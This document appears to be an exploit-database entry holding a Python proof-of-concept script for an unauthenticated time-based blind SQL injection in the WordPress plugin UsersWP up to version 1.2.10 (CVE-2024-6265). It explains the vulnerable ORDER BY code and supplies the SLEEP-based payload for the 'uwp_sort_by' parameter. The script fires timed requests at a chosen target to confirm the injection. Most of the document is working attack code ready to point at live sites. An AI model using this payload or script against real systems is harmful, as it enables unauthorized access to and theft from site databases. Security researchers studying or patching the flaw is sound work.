Share
## https://sploitus.com/exploit?id=PACKETSTORM:226411
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin UsersWP <= 1.2.10 - Unauthenticated Time-Based Blind SQL Injection (ORDER BY)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/userswp/
    # Software Link: https://downloads.wordpress.org/plugin/userswp.1.2.10.zip
    # Version: 1.2.10 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-6265
    r"""
    UsersWP <= 1.2.10 sorts the public Users directory via a pre_user_query filter
    (admin/settings/class-uwp-settings-user-sorting.php:33). On the /users/ page (default WP_User_Query
    uses orderby 'uwp_meta_value'), it derives the sort column from $_GET['uwp_sort_by']
    (class-uwp-settings-user-sorting.php:45), stripping the trailing _asc/_desc to form $meta_key, then
    concatenates it into ORDER BY (:76):
    
        $sort_by  = strip_tags( esc_sql( $_GET['uwp_sort_by'] ) );   // esc_sql only escapes quotes
        $meta_key = substr( $sort_by, 0, strlen($sort_by) - 4 );      // for *_asc
        $orderby  = $meta_table_name . '.' . $meta_key;
        $vars->query_orderby = 'ORDER BY ' . $orderby . ' ' . $order;
    
    ORDER BY is an unquoted context, so `esc_sql` provides no protection -> SQL injection. Using a valid
    leading column (user_id) plus a comma keeps the ORDER BY syntactically valid while adding a SLEEP()
    term evaluated per row.
    
    Payload (uwp_sort_by): user_id,(select(sleep(5)))_asc
    
    Prior state: plugin active (auto-creates the /users/ directory page) + a few users so the query
    returns rows.
    """
    import argparse, sys, time, urllib.parse
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def probe(base, page, seconds):
        sb = "user_id,(select(sleep(%d)))_asc" % seconds
        t = time.time()
        requests.get(base + page + "?uwp_sort_by=" + urllib.parse.quote(sb), verify=False, timeout=120)
        return time.time() - t
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--page", default="/users/", help="UsersWP directory page path")
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        t0 = probe(base, args.page, 0)
        t5 = probe(base, args.page, args.sleep)
        print(f"[*] Target: {base}{args.page}")
        print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
        if (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED โ€” unauthenticated attacker-controlled SLEEP delayed the "
                  f"response by {t5 - t0:.2f}s (uwp_sort_by ORDER BY injection).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())